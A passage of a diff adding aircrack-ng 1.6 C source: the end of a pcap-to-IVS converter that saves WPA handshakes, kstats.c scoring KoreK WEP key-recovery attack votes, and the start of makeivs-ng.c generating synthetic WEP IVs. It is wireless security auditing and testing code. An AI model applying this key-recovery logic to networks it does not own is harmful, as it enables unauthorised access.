+			if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) != 0
+				&& (h80211[z + 6] & 0x80) != 0
+				&& (h80211[z + 5] & 0x01) != 0)
+			{
+				st_cur->wpa.eapol_size
+					= (h80211[z + 2] << 8) + h80211[z + 3] + 4u;
+
+				if (st_cur->wpa.eapol_size == 0 //-V560
+					|| st_cur->wpa.eapol_size >= sizeof(st_cur->wpa.eapol) - 16)
+				{
+					// ignore packet trying to crash us
+					st_cur->wpa.eapol_size = 0;
+					return (EXIT_SUCCESS);
+				}
+
+				if (memcmp(&h80211[z + 17], ZERO, 32) != 0)
+				{
+					memcpy(st_cur->wpa.anonce, &h80211[z + 17], 32);
+					st_cur->wpa.state |= 4;
+				}
+
+				memcpy(st_cur->wpa.keymic, &h80211[z + 81], 16);
+				memcpy(st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size);
+				memset(st_cur->wpa.eapol + 81, 0, 16);
+				st_cur->wpa.state |= 8;
+				st_cur->wpa.keyver = (uint8_t)(h80211[z + 6] & 7);
+
+				if (st_cur->wpa.state == 15)
+				{
+					memcpy(st_cur->wpa.stmac, st_cur->stmac, 6);
+
+					if (G.f_ivs != NULL)
+					{
+						memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
+						ivs2.flags = 0;
+						ivs2.len = sizeof(struct WPA_hdsk);
+						ivs2.flags |= IVS2_WPA;
+
+						if (memcmp(G.prev_bssid, ap_cur->bssid, 6) != 0)
+						{
+							ivs2.flags |= IVS2_BSSID;
+							ivs2.len += 6;
+							memcpy(G.prev_bssid, ap_cur->bssid, 6);
+						}
+
+						if (fwrite(
+								&ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs)
+							!= (size_t) sizeof(struct ivs2_pkthdr))
+						{
+							perror("fwrite(IV header) failed");
+							return (EXIT_FAILURE);
+						}
+
+						if (ivs2.flags & IVS2_BSSID)
+						{
+							if (fwrite(ap_cur->bssid, 1, 6, G.f_ivs)
+								!= (size_t) 6)
+							{
+								perror("fwrite(IV bssid) failed");
+								return (EXIT_FAILURE);
+							}
+							ivs2.len -= 6;
+						}
+
+						if (fwrite(&(st_cur->wpa),
+								   1,
+								   sizeof(struct WPA_hdsk),
+								   G.f_ivs)
+							!= (size_t) sizeof(struct WPA_hdsk))
+						{
+							perror("fwrite(IV wpa_hdsk) failed");
+							return (EXIT_FAILURE);
+						}
+						return (WPA);
+					}
+				}
+			}
+		}
+	}
+
+	return (0);
+}
+
+int main(int argc, char * argv[])
+{
+	time_t tt;
+	int n, ret;
+	FILE * f_in;
+	unsigned long nbr;
+	unsigned long nbivs;
+	unsigned char * h80211;
+	unsigned char bssid_cur[6];
+	unsigned char bssid_prv[6];
+	unsigned char buffer[65536];
+	struct pcap_file_header pfh;
+	struct pcap_pkthdr pkh;
+	struct ivs2_filehdr fivs2;
+
+	if (argc < 4)
+	{
+		usage(EXIT_SUCCESS);
+		return (EXIT_FAILURE);
+	}
+
+	if (strcmp(argv[1], "--merge") == 0)
+	{
+		return (merge(argc, argv));
+	}
+	if (strcmp(argv[1], "--convert") != 0)
+	{
+		usage(EXIT_FAILURE);
+		return (EXIT_FAILURE);
+	}
+
+	// Check filenames are not empty
+	if (argv[2][0] == 0)
+	{
+		printf("Invalid pcap file\n");
+		return (EXIT_FAILURE);
+	}
+
+	if (argv[3][0] == 0)
+	{
+		printf("Invalid output file\n");
+		return (EXIT_FAILURE);
+	}
+
+	memset(bssid_cur, 0, sizeof(bssid_cur)); //-V597
+	memset(bssid_prv, 0, sizeof(bssid_prv)); //-V597
+
+	/* check the input pcap file */
+
+	printf("Opening %s\n", argv[2]);
+
+	if ((f_in = fopen(argv[2], "rb")) == NULL)
+	{
+		perror("fopen failed");
+		return (EXIT_FAILURE);
+	}
+
+	n = sizeof(pfh);
+
+	if (fread(&pfh, 1, n, f_in) != (size_t) n)
+	{
+		perror("fread(pcap file header) failed");
+		fclose(f_in);
+		return (EXIT_FAILURE);
+	}
+
+	if (pfh.magic != TCPDUMP_MAGIC && pfh.magic != TCPDUMP_CIGAM)
+	{
+		printf("\"%s\" isn't a pcap file (expected "
+			   "TCPDUMP_MAGIC).\n",
+			   argv[2]);
+		fclose(f_in);
+		return (EXIT_FAILURE);
+	}
+
+	if (pfh.magic == TCPDUMP_CIGAM) SWAP32(pfh.linktype);
+
+	if (pfh.linktype != LINKTYPE_IEEE802_11
+		&& pfh.linktype != LINKTYPE_PRISM_HEADER
+		&& pfh.linktype != LINKTYPE_RADIOTAP_HDR
+		&& pfh.linktype != LINKTYPE_PPI_HDR)
+	{
+		printf("\"%s\" isn't a regular 802.11 "
+			   "(wireless) capture.\n",
+			   argv[2]);
+		fclose(f_in);
+		return (EXIT_FAILURE);
+	}
+
+	/* create the output ivs file */
+
+	printf("Creating %s\n", argv[3]);
+
+	if ((G.f_ivs = fopen(argv[3], "wb+")) == NULL)
+	{
+		perror("fopen failed");
+		fclose(f_in);
+		return (EXIT_FAILURE);
+	}
+
+	fivs2.version = IVS2_VERSION;
+
+	(void) fwrite(IVS2_MAGIC, 4, 1, G.f_ivs);
+	(void) fwrite(&fivs2, sizeof(struct ivs2_filehdr), 1, G.f_ivs);
+
+	nbr = 0;
+	tt = time(NULL) - 1;
+
+	nbivs = 0;
+
+	while (1)
+	{
+		if (time(NULL) - tt > 0)
+		{
+			erase_line(0);
+			printf("Read %lu packets...\r", nbr);
+			fflush(stdout);
+			tt = time(NULL);
+		}
+
+		/* read one packet */
+
+		n = sizeof(pkh);
+
+		if (fread(&pkh, 1, n, f_in) != (size_t) n) break;
+
+		if (pfh.magic == TCPDUMP_CIGAM)
+		{
+			SWAP32(pkh.caplen);
+			SWAP32(pkh.len);
+		}
+
+		n = pkh.caplen;
+
+		if (n <= 0 || n > 65535)
+		{
+			printf("Corrupted file? Invalid packet length: %d.\n", n);
+			return (EXIT_FAILURE);
+		}
+
+		if (fread(buffer, 1, n, f_in) != (size_t) n) break;
+
+		++nbr;
+
+		h80211 = buffer;
+
+		/* remove any prism/radiotap header */
+
+		if (pfh.linktype == LINKTYPE_PRISM_HEADER)
+		{
+			if (h80211[7] == 0x40)
+				n = 64;
+			else
+			{
+				n = *(int *) (h80211 + 4);
+
+				if (pfh.magic == TCPDUMP_CIGAM) SWAP32(n);
+			}
+
+			if (n < 8 || n >= (int) pkh.caplen) continue;
+
+			h80211 += n;
+			pkh.caplen -= n;
+		}
+
+		if (pfh.linktype == LINKTYPE_RADIOTAP_HDR)
+		{
+			n = *(unsigned short *) (h80211 + 2);
+
+			if (n <= 0 || n >= (int) pkh.caplen) continue;
+
+			h80211 += n;
+			pkh.caplen -= n;
+		}
+
+		if (pfh.linktype == LINKTYPE_PPI_HDR)
+		{
+			/* Remove the PPI header */
+
+			n = le16_to_cpu(*(unsigned short *) (h80211 + 2));
+
+			if (n <= 0 || n >= (int) pkh.caplen) continue;
+
+			/* for a while Kismet logged broken PPI headers */
+			if (n == 24 && le16_to_cpu(*(unsigned short *) (h80211 + 8)) == 2)
+				n = 32;
+
+			if (n >= (int) pkh.caplen) continue;
+
+			h80211 += n;
+			pkh.caplen -= n;
+		}
+
+		ret = dump_add_packet(h80211, pkh.caplen);
+
+		if (ret == IVS) ++nbivs;
+	}
+	fclose(f_in);
+	fclose(G.f_ivs);
+
+	erase_line(2);
+	printf("Read %lu packets.\n", nbr);
+
+	if (nbivs > 0)
+		printf("Written %lu IVs.\n", nbivs);
+	else
+	{
+		remove(argv[3]);
+		puts("No IVs written");
+	}
+
+	return (EXIT_SUCCESS);
+}

aircrack-ng-1.6.tar.gz/src/kstats Added

aircrack-ng-1.6.tar.gz/src/kstats/kstats.c Added

@@ -0,0 +1,414 @@
+/*
+ *  Kstat: displays the votes of the korek attack for each keybyte
+ *
+ *  Copyright (C) 2006-2020 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *  Copyright (C) 2004, 2005  Christophe Devine
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <string.h>
+#include <stdlib.h>
+#include <stdio.h>
+
+#include "aircrack-ng/defs.h"
+#include "aircrack-ng/aircrack-ng.h"
+#include "aircrack-ng/support/common.h"
+
+#define IVBUF_SIZE (5UL * 0xFFFFFF)
+
+static const int K_COEFF[N_ATTACKS]
+	= {15, 13, 12, 12, 12, 5, 5, 5, 3, 4, 3, 4, 3, 13, 4, 4, -20};
+
+static void calc_votes(unsigned char * ivbuf,
+					   long nb_ivs,
+					   unsigned char * key,
+					   int B,
+					   int votes[N_ATTACKS][256])
+{
+	REQUIRE(ivbuf != NULL);
+	REQUIRE(nb_ivs >= 0);
+	REQUIRE(key != NULL);
+
+	int i, j;
+	long xv;
+	unsigned char R[256], jj[256];
+	unsigned char S[256], Si[256];
+	unsigned char K[64];
+
+	unsigned char io1, o1, io2, o2;
+	unsigned char Sq, dq, Kq, jq, q;
+	unsigned char S1, S2, J2, t2;
+
+	for (i = 0; i < 256; i++) R[i] = i;
+
+	q = 3 + B;
+
+	memcpy(K + 3, key, B);
+	memset(votes, 0, sizeof(int) * N_ATTACKS * 256);
+
+	for (xv = 0; xv < nb_ivs; xv += 5)
+	{
+		memcpy(K, &ivbuf[xv], 3); //-V512
+		memcpy(S, R, 256);
+		memcpy(Si, R, 256);
+
+		for (i = j = 0; i < q; i++)
+		{
+			jj[i] = j = (j + S[i] + K[i & 15]) & 0xFF;
+			SWAP(S[i], S[j]);
+		}
+
+		i = q;
+		do
+		{
+			i--;
+			SWAP(Si[i], Si[jj[i]]);
+		} while (i != 0);
+
+		o1 = ivbuf[xv + 3] ^ 0xAA;
+		io1 = Si[o1];
+		S1 = S[1];
+		o2 = ivbuf[xv + 4] ^ 0xAA;
+		io2 = Si[o2];
+		S2 = S[2];
+		Sq = S[q];
+		dq = Sq + jj[q - 1];
+
+		if (S2 == 0)
+		{
+			if ((S1 == 2) && (o1 == 2))
+			{
+				Kq = 1 - dq;
+				votes[A_neg][Kq]++;
+				Kq = 2 - dq;
+				votes[A_neg][Kq]++;
+			}
+			else if (o2 == 0)
+			{
+				Kq = 2 - dq;
+				votes[A_neg][Kq]++;
+			}
+		}
+		else
+		{
+			if ((o2 == 0) && (Sq == 0))
+			{
+				Kq = 2 - dq;
+				votes[A_u15][Kq]++;
+			}
+		}
+
+		if ((S1 == 1) && (o1 == S2))
+		{
+			Kq = 1 - dq;
+			votes[A_neg][Kq]++;
+			Kq = 2 - dq;
+			votes[A_neg][Kq]++;
+		}
+
+		if ((S1 == 0) && (S[0] == 1) && (o1 == 1))
+		{
+			Kq = 0 - dq;
+			votes[A_neg][Kq]++;
+			Kq = 1 - dq;
+			votes[A_neg][Kq]++;
+		}
+
+		if (S1 == q)
+		{
+			if (o1 == q)
+			{
+				Kq = Si[0] - dq;
+				votes[A_s13][Kq]++;
+			}
+			else if (((1 - q - o1) & 0xFF) == 0)
+			{
+				Kq = io1 - dq;
+				votes[A_u13_1][Kq]++;
+			}
+			else if (io1 < q)
+			{
+				jq = Si[(io1 - q) & 0xFF];
+
+				if (jq != 1)
+				{
+					Kq = jq - dq;
+					votes[A_u5_1][Kq]++;
+				}
+			}
+		}
+
+		if ((io1 == 2) && (S[q] == 1))
+		{
+			Kq = 1 - dq;
+			votes[A_u5_2][Kq]++;
+		}
+
+		if (S[q] == q)
+		{
+			if ((S1 == 0) && (o1 == q))
+			{
+				Kq = 1 - dq;
+				votes[A_u13_2][Kq]++;
+			}
+			else if ((((1 - q - S1) & 0xFF) == 0) && (o1 == S1))
+			{
+				Kq = 1 - dq;
+				votes[A_u13_3][Kq]++;
+			}
+			else if ((S1 >= ((-q) & 0xFF)) && (((q + S1 - io1) & 0xFF) == 0))
+			{
+				Kq = 1 - dq;
+				votes[A_u5_3][Kq]++;
+			}
+		}
+
+		if ((S1 < q) && (((S1 + S[S1] - q) & 0xFF) == 0) && (io1 != 1)
+			&& (io1 != S[S1]))
+		{
+			Kq = io1 - dq;
+			votes[A_s5_1][Kq]++;
+		}
+
+		if ((S1 > q) && (((S2 + S1 - q) & 0xFF) == 0))
+		{
+			if (o2 == S1)
+			{
+				jq = Si[(S1 - S2) & 0xFF];
+
+				if ((jq != 1) && (jq != 2))
+				{
+					Kq = jq - dq;
+					votes[A_s5_2][Kq]++;
+				}
+			}
+			else if (o2 == ((2 - S2) & 0xFF))
+			{
+				jq = io2;
+
+				if ((jq != 1) && (jq != 2))
+				{
+					Kq = jq - dq;
+					votes[A_s5_3][Kq]++;
+				}
+			}
+		}
+
+		if ((S[1] != 2) && (S[2] != 0))
+		{
+			J2 = S[1] + S[2];
+
+			if (J2 < q)
+			{
+				t2 = S[J2] + S[2];
+
+				if ((t2 == q) && (io2 != 1) && (io2 != 2) && (io2 != J2))
+				{
+					Kq = io2 - dq;
+					votes[A_s3][Kq]++;
+				}
+			}
+		}
+
+		if (S1 == 2)
+		{
+			if (q == 4)
+			{
+				if (o2 == 0)
+				{
+					Kq = Si[0] - dq;
+					votes[A_4_s13][Kq]++;
+				}
+				else
+				{
+					if ((jj[1] == 2) && (io2 == 0))
+					{
+						Kq = Si[254] - dq;
+						votes[A_4_u5_1][Kq]++;
+					}
+					if ((jj[1] == 2) && (io2 == 2))
+					{
+						Kq = Si[255] - dq;
+						votes[A_4_u5_2][Kq]++;
+					}
+				}
+			}
+			else if ((q > 4) && ((S[4] + 2) == q) && (io2 != 1) && (io2 != 4))
+			{
+				Kq = io2 - dq;
+				votes[A_u5_4][Kq]++;
+			}
+		}
+	}
+}
+
+int main(int argc, char * argv[])
+{
+	FILE * f;
+	long nb_ivs;
+	int i, n, B, *vi;
+	unsigned int un;
+	int votes[N_ATTACKS][256];
+
+	unsigned char *ivbuf, *s;
+	unsigned char buffer[4096];
+	unsigned char wepkey[16];
+
+	vote poll[64][256];
+
+	if (argc != 3)
+	{
+		printf("usage: kstats <ivs file> <104-bit key>\n");
+		return (EXIT_FAILURE);
+	}
+
+	i = 0;
+	s = (unsigned char *) argv[2];
+
+	buffer[0] = s[0];
+	buffer[1] = s[1];
+	buffer[2] = '\0';
+
+	while (sscanf((char *) buffer, "%x", &un) == 1)
+	{
+		if (un > 255)
+		{
+			fprintf(stderr, "Invalid wep key.\n");
+			return (EXIT_FAILURE);
+		}
+
+		wepkey[i++] = (uint8_t) un;
+
+		if (i >= 16) break;
+
+		s += 2;
+
+		if (s[0] == ':' || s[0] == '-') s++;
+
+		if (s[0] == '\0' || s[1] == '\0') break;
+
+		buffer[0] = s[0];
+		buffer[1] = s[1];
+	}
+
+	if (i != 13)
+	{
+		fprintf(stderr, "Invalid wep key.\n");
+		return (EXIT_FAILURE);
+	}
+
+	if ((ivbuf = (unsigned char *) malloc(IVBUF_SIZE)) == NULL)
+	{
+		perror("malloc");
+		return (EXIT_FAILURE);
+	}
+
+	memset(ivbuf, 0, IVBUF_SIZE);
+
+	if ((f = fopen(argv[1], "rb")) == NULL)
+	{
+		free(ivbuf);
+		perror("fopen");
+		return (EXIT_FAILURE);
+	}
+
+	if (fread(buffer, 1, 4, f) != 4)
+	{
+		free(ivbuf);
+		fclose(f);
+		perror("fread header");
+		return (EXIT_FAILURE);
+	}
+
+	if (memcmp(buffer, "\xBF\xCA\x84\xD4", 4) != 0)
+	{
+		free(ivbuf);
+		fclose(f);
+		fprintf(stderr, "Not an .IVS file\n");
+		return (EXIT_FAILURE);
+	}
+
+	nb_ivs = 0;
+
+	while (1)
+	{
+		if (fread(buffer, 1, 1, f) != 1) break;
+
+		if (buffer[0] != 0xFF)
+			if (fread(buffer + 1, 1, 5, f) != 5) break;
+
+		if (fread(buffer, 1, 5, f) != 5) break;
+
+		memcpy(ivbuf + nb_ivs * 5, buffer, 5); //-V512
+
+		nb_ivs++;
+	}
+
+	for (B = 0; B < 13; B++)
+	{
+		for (i = 0; i < 256; i++)
+		{
+			poll[B][i].idx = i;
+			poll[B][i].val = 0;
+		}
+
+		calc_votes(ivbuf, nb_ivs, wepkey, B, votes);
+
+		for (n = 0, vi = (int *) votes; n < N_ATTACKS; n++)
+			for (i = 0; i < 256; i++, vi++) poll[B][i].val += *vi * K_COEFF[n];
+
+		qsort(poll[B], 256, sizeof(vote), cmp_votes);
+
+		printf("KB %02d VALID  %02X", B, wepkey[B]);
+
+		for (i = 0; i < 256; i++)
+			if (poll[B][i].idx == wepkey[B]) printf("(%4d) ", poll[B][i].val);
+
+		for (i = 0; i < N_ATTACKS; i++) printf("%3d  ", votes[i][wepkey[B]]);
+
+		printf("\n");
+
+		printf("KB %02d FIRST  %02X(%4d) ", B, poll[B][0].idx, poll[B][0].val);
+
+		for (i = 0; i < N_ATTACKS; i++)
+			printf("%3d  ", votes[i][poll[B][0].idx]);
+
+		printf("\n");
+
+		printf("KB %02d SECOND %02X(%4d) ", B, poll[B][1].idx, poll[B][1].val);
+
+		for (i = 0; i < N_ATTACKS; i++)
+			printf("%3d  ", votes[i][poll[B][1].idx]);
+
+		printf("\n");
+
+		printf("KB %02d THIRD  %02X(%4d) ", B, poll[B][2].idx, poll[B][2].val);
+
+		for (i = 0; i < N_ATTACKS; i++)
+			printf("%3d  ", votes[i][poll[B][2].idx]);
+
+		printf("\n\n");
+	}
+
+	free(ivbuf);
+	fclose(f);
+
+	return (EXIT_SUCCESS);
+}

aircrack-ng-1.6.tar.gz/src/makeivs-ng Added

aircrack-ng-1.6.tar.gz/src/makeivs-ng/makeivs-ng.c Added

@@ -0,0 +1,634 @@
+/*
+  * Server for osdep network driver.  Uses osdep itself!  [ph33r teh recursion]
+  *
+  *  Copyright (C) 2006-2020 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+  *  Copyright (C) 2004, 2005 Christophe Devine
+  *
+  *  This program is free software; you can redistribute it and/or modify
+  *  it under the terms of the GNU General Public License as published by
+  *  the Free Software Foundation; either version 2 of the License, or
+  *  (at your option) any later version.
+  *
+  *  This program is distributed in the hope that it will be useful,
+  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  *  GNU General Public License for more details.
+  *
+  *  You should have received a copy of the GNU General Public License
+  *  along with this program; if not, write to the Free Software
+  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+  */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <getopt.h>
+#include <time.h>
+#include <float.h>
+
+#include "aircrack-ng/defs.h"
+#include "aircrack-ng/version.h"
+#include "aircrack-ng/support/pcap_local.h"
+#include "aircrack-ng/ce-wep/uniqueiv.h"
+#include "aircrack-ng/support/common.h"
+
+#define NULL_MAC "\x00\x00\x00\x00\x00\x00"
+
+static const char usage[] =
+
+	"\n"
+	"  %s - (C) 2006-2020 Thomas d\'Otreppe\n"
+	"  https://www.aircrack-ng.org\n"
+	"\n"
+	"  usage: makeivs-ng [options]\n"
+	"\n"
+	"  Common options:\n"
+	"      -b <bssid> : Set access point MAC address\n"
+	"      -f <num>   : Number of first IV\n"
+	"      -k <key>   : Target network WEP key in hex\n"
+	"      -s <num>   : Seed used to setup random generator\n"
+	"      -w <file>  : Filename to write IVs into\n"
+	"      -c <num>   : Number of IVs to generate\n"
+	"      -d <num>   : Percentage of dupe IVs\n"
+	"      -e <num>   : Percentage of erroneous keystreams\n"
+	"      -l <num>   : Length of keystreams\n"
+	"      -n         : Ignores weak IVs\n"
+	"      -p         : Uses prng algorithm to generate IVs\n"
+	"\n"
+	"      --help     : Displays this usage screen\n"
+	"\n";
+
+int main(int argc, char * argv[])
+{
+	int i, j, k, pre_n, n, count = 100000, length = 16;
+	unsigned int un;
+	int paramUsed = 0, keylen = 0, zero = 0, startiv = 0, iv = 0;
+	FILE * f_ivs_out;
+	unsigned char K[32];
+	unsigned char S[256];
+	char *s, *filename = NULL;
+	struct ivs2_pkthdr ivs2;
+	struct ivs2_filehdr fivs2;
+	unsigned long long size;
+	int option_index, option, crypt = 0;
+	char buf[2048];
+	int weplen = 0, nofms = 0, prng = 0;
+	float errorrate = 0, dupe = 0;
+	unsigned char bssid[6];
+	int seed = time(NULL), z;
+	int maxivs = 0x1000000;
+	unsigned char byte;
+	unsigned char ** uiv_root;
+
+	static const struct option long_options[] = {{"key", 1, 0, 'k'},
+												 {"write", 1, 0, 'w'},
+												 {"count", 1, 0, 'c'},
+												 {"seed", 1, 0, 's'},
+												 {"length", 1, 0, 'l'},
+												 {"first", 1, 0, 'f'},
+												 {"bssid", 1, 0, 'b'},
+												 {"dupe", 1, 0, 'd'},
+												 {"error", 1, 0, 'e'},
+												 {"nofms", 0, 0, 'n'},
+												 {"prng", 0, 0, 'p'},
+												 {"help", 0, 0, 'H'},
+												 {0, 0, 0, 0}};
+
+	i = 0;
+	memset(K, 0, 32);
+	memset(bssid, 0, 6);
+	uiv_root = uniqueiv_init();
+
+	/* check the arguments */
+
+	do
+	{
+		option_index = 0;
+
+		option = getopt_long(
+			argc, argv, "k:w:c:s:l:f:b:d:e:npHh", long_options, &option_index);
+
+		if (option < 0) break;
+
+		switch (option)
+		{
+			case 0:
+
+				break;
+
+			case ':':
+
+				goto usage;
+				break;
+
+			case '?':
+
+				goto usage;
+				break;
+
+			case 'n':
+
+				paramUsed = 1;
+				nofms = 1;
+				break;
+
+			case 'p':
+
+				paramUsed = 1;
+				prng = 1;
+				break;
+
+			case 'l':
+
+				paramUsed = 1;
+				if (atoi(optarg) < 2 || atoi(optarg) > 2300)
+				{
+					printf(usage,
+						   getVersion("makeivs-ng",
+									  _MAJ,
+									  _MIN,
+									  _SUB_MIN,
+									  _REVISION,
+									  _BETA,
+									  _RC));
+					printf("Specified keystream length is invalid. [2-2300]");
+					return (EXIT_FAILURE);
+				}
+
+				length = atoi(optarg);
+				break;
+
+			case 'c':
+
+				paramUsed = 1;
+				if (atoi(optarg) < 1 || atoi(optarg) > 0x1000000)
+				{
+					printf(usage,
+						   getVersion("makeivs-ng",
+									  _MAJ,
+									  _MIN,
+									  _SUB_MIN,
+									  _REVISION,
+									  _BETA,
+									  _RC));
+					printf("Specified number of IVs is invalid. [1-16777216]");
+					return (EXIT_FAILURE);
+				}
+
+				count = atoi(optarg);
+				break;
+
+			case 's':
+
+				paramUsed = 1;
+				if (atoi(optarg) < 1)
+				{
+					printf("Specified seed is invalid. [>=1]");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				seed = atoi(optarg);
+				break;
+
+			case 'e':
+
+				paramUsed = 1;
+				sscanf(optarg, "%f", &errorrate);
+#if defined(__x86_64__) && defined(__CYGWIN__)
+				if (errorrate < 0.0f || errorrate > (0.0f + 100))
+				{
+#else
+				if (errorrate < 0.0f || errorrate > 100.0f)
+				{
+#endif
+					printf(usage,
+						   getVersion("makeivs-ng",
+									  _MAJ,
+									  _MIN,
+									  _SUB_MIN,
+									  _REVISION,
+									  _BETA,
+									  _RC));
+					printf("Specified errorrate is invalid. [0-100]");
+					return (EXIT_FAILURE);
+				}
+
+				break;
+
+			case 'd':
+
+				paramUsed = 1;
+				if (sscanf(optarg, "%f", &dupe) != 1 || dupe < 0.0f
+					|| dupe >
+#if defined(__x86_64__) && defined(__CYGWIN__)
+						   (0.0f + 100))
+				{
+#else
+						   100.0f)
+				{
+#endif
+					printf(usage,
+						   getVersion("makeivs-ng",
+									  _MAJ,
+									  _MIN,
+									  _SUB_MIN,
+									  _REVISION,
+									  _BETA,
+									  _RC));
+
+					printf("Specified dupe is invalid. [0-100]");
+					return (EXIT_FAILURE);
+				}
+
+				break;
+
+			case 'f':
+
+				paramUsed = 1;
+				if (atoi(optarg) < 0 || atoi(optarg) > 0xFFFFFF)
+				{
+					printf(usage,
+						   getVersion("makeivs-ng",
+									  _MAJ,
+									  _MIN,
+									  _SUB_MIN,
+									  _REVISION,
+									  _BETA,
+									  _RC));
+
+					printf("Specified start IV is invalid. [0-16777215]");
+					return (EXIT_FAILURE);
+				}
+
+				paramUsed = 1;
+				startiv = atoi(optarg);
+				break;
+
+			case 'w':
+
+				paramUsed = 1;
+				filename = strdup(optarg);
+				break;
+
+			case 'b':
+
+				paramUsed = 1;
+				if (memcmp(bssid, NULL_MAC, 6) != 0)
+				{
+					printf("Notice: bssid already given\n");
+					break;
+				}
+				if (getmac(optarg, 1, bssid) != 0)
+				{
+					printf(usage,
+						   getVersion("makeivs-ng",
+									  _MAJ,
+									  _MIN,
+									  _SUB_MIN,
+									  _REVISION,
+									  _BETA,
+									  _RC));
+
+					printf("Notice: invalid bssid\n");
+					return (EXIT_FAILURE);
+				}
+				break;
+
+			case 'k':
+
+				paramUsed = 1;
+				if (crypt != 0)
+				{
+					printf(usage,
+						   getVersion("makeivs-ng",
+									  _MAJ,
+									  _MIN,
+									  _SUB_MIN,
+									  _REVISION,
+									  _BETA,
+									  _RC));
+
+					printf("Encryption key already specified.\n");
+					return (EXIT_FAILURE);
+				}
+
+				crypt = 1;
+
+				i = 0;
+				s = optarg;
+
+				buf[0] = s[0];
+				buf[1] = s[1];
+				buf[2] = '\0';
+
+				while (sscanf(buf, "%x", &un) == 1)
+				{
+					if (un > 255)
+					{
+						printf(usage,
+							   getVersion("makeivs-ng",
+										  _MAJ,
+										  _MIN,
+										  _SUB_MIN,
+										  _REVISION,
+										  _BETA,
+										  _RC));
+
+						printf("Invalid WEP key.\n");
+						return (EXIT_FAILURE);
+					}
+
+					if (3 + i >= 32) break;
+
+					K[3 + i++] = (uint8_t) un;
+
+					s += 2;
+
+					if (s[0] == ':' || s[0] == '-') s++;
+
+					if (s[0] == '\0' || s[1] == '\0') break;
+
+					buf[0] = s[0];
+					buf[1] = s[1];
+				}
+
+				if (i != 5 && i != 13 && i != 29)
+				{
+					printf(usage,
+						   getVersion("makeivs-ng",
+									  _MAJ,
+									  _MIN,
+									  _SUB_MIN,
+									  _REVISION,
+									  _BETA,
+									  _RC));
+
+					printf("Invalid WEP key length. [5,13,29]\n");
+					return (EXIT_FAILURE);
+				}
+
+				weplen = i;
+				keylen = i + 3;
+
+				break;
+
+			case 'h':
+			case 'H':
+				goto usage;
+				break;
+
+			default:
+				goto usage;
+		}
+	} while (1);
+
+	if (nofms) maxivs -= 256 * weplen;
+
+	rand_init_with(seed);
+
+	if (paramUsed == 0)
+	{
+	usage:
+		printf(usage,
+			   getVersion(
+				   "makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC));
+		return (EXIT_SUCCESS);
+	}
+
+	if (count > maxivs)
+	{
+		printf(usage,
+			   getVersion(
+				   "makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC));
+
+		printf("Specified too many IVs (%d), but there are only %d possible.\n",
+			   count,
+			   maxivs);
+		return (EXIT_FAILURE);
+	}
+
+	if (length == 0) length = 16; // default 16 keystreambytes
+
+	if (crypt < 1)
+	{
+		printf(usage,
+			   getVersion(
+				   "makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC));
+
+		printf("You need to specify the WEP key (-k).\n");
+		return (EXIT_FAILURE);
+	}
+
+	if (filename == NULL)
+	{
+		printf(usage,
+			   getVersion(
+				   "makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC));
+
+		printf("You need to specify the output filename (-w).\n");
+		return (EXIT_FAILURE);
+	}
+
+	size = (unsigned long long) strlen(IVS2_MAGIC)
+		   + (unsigned long long) sizeof(struct ivs2_filehdr)
+		   + (unsigned long long) count
+				 * (unsigned long long) sizeof(struct ivs2_pkthdr)
+		   + (unsigned long long) count * (length + 4ULL);
+
+	printf("Creating %d IVs with %d bytes of keystream each.\n", count, length);
+	printf("Estimated filesize: ");
+	if (size > 1024 * 1024 * 1024) // over 1 GB
+		printf("%.2f GB\n", ((double) size / (1024.0 * 1024.0 * 1024.0)));
+	else if (size > 1024 * 1024) // over 1 MB
+		printf("%.2f MB\n", ((double) size / (1024.0 * 1024.0)));
+	else if (size > 1024) // over 1 KB
+		printf("%.2f KB\n", ((double) size / 1024.0));
+	else // under 1 KB
+		printf("%.2f Byte\n", (double) size);
+
+	ALLEGE(filename != NULL);
+	if ((f_ivs_out = fopen(filename, "wb+")) == NULL)
+	{
+		perror("fopen");
+		free(filename);
+		return (EXIT_FAILURE);
+	}
+
+	if (fwrite(IVS2_MAGIC, 1, 4, f_ivs_out) != (size_t) 4)
+	{
+		perror("fwrite(IVs file MAGIC) failed");
+		free(filename);
+		return (EXIT_FAILURE);
+	}
+
+	memset(&fivs2, '\x00', sizeof(struct ivs2_filehdr));
+	fivs2.version = IVS2_VERSION;
+
+	/* write file header */
+	if (fwrite(&fivs2, sizeof(struct ivs2_filehdr), 1, f_ivs_out) != (size_t) 1)
+	{
+		perror("fwrite(IV file header) failed");
+		free(filename);
+		return (EXIT_FAILURE);
+	}
+
+	memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
+	ivs2.flags |= IVS2_BSSID;
+	ivs2.len += 6;
+
+	/* write header */
+	if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), f_ivs_out)
